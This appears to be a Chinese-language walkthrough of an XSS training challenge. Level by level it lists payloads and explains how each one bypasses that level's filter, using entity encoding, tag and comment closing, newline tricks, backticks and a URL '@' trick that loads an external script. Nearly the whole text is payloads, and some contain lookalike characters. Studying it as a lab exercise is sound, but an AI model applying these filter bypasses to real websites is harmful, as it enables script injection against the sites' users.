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这里的Payload仅仅为一种思路，还有着很多其他绕过方法
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0x00 <svg src=x οnlοad=alert(1)> 没有什么过滤，直接弹框即可

0x01 </textarea><svg οnlοad=“alert(1)”>
在<textarea></textarea>标签之中的标签是不会被解析到DOM树

中，所以需要先闭合/

0x02 "><svg src=x οnlοad=alert(1)> 直接闭合前面的标签即可

0x03

<svg src=x οnlοad=alert`1`>
或者

<svg src=x
οnlοad=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

此处使用正则进行过滤，可以使用反单引号（`）来进行绕过
也可通过HTML实体编码来进行绕过

0x04 <svg src=x οnlοad=alert&#40;1&#41;> 此处使用HTML实体编码进行绕过

0x05 –!><svg src=x οnlοad=alert&#40;1&#41;>
此处使用正则对HTML注释（–>）进行过滤，但是可以使用 --!> 来

将注释进行闭合

0x06
onclick

=alert(1)
此处使用正则对 on事件 进行过滤，可以通过换行来进行绕过

0x07 <svg οnlοad=“alert(1)”
此处过滤了尖括号之间的字符，不过由于浏览器的兼容性，反尖括

号（>）可以省略，从而进行绕过

0x08
</style

>
<script>alert(1)</script>

通过换行进行绕过，从而闭合<style>标签，进而完成弹框

0x09 https://www.segmentfault.com111" οnerrοr="alert(1) 输入正确地址，使用双引号（"）将前面事件闭合即可

0x0A https://www.segmentfault.com@xss.haozi.me/j.js 使用 @ 会以 @ 前的字符串作为用户名来访问 @ 后面的网址
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0x0B
<img src=""

οnerrοr="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">
使用HTML实体编码进行绕过

0x0C
<img src=""

οnerrοr="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">
使用HTML实体编码进行绕过

0x0D alert(1)
–>

先使用回车（换行）逃逸出注释范围，然后再使用 --> 将多余的 ')
进行注释即可

0x0E
<ſcript src=""

οnerrοr="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">
脑洞题，ſ 大写后为 S（ſ 不等于s）

0x0F ');alert('1
看起来使用了HTML实体编码来防止xss，但是了解浏览器解析规则
（顺序）即可知道在属性值中的HTML实体编码会被浏览器成功解

析，所以此处的HTML实体编码毫无用处

0x10 alert(1) 直接输入即可

0x11 ");alert("1
此处过滤后得到的字符其实还与原字符有着相同的作用（例如： "
被换成了 \" ，其实真正被转义的字符是第二个 \ ，而不是 "），所

以此处的过滤也是毫无用处

0x12 ");</script><script>alert(1)// 与上一关卡同理，此处的过滤也是毫无用处
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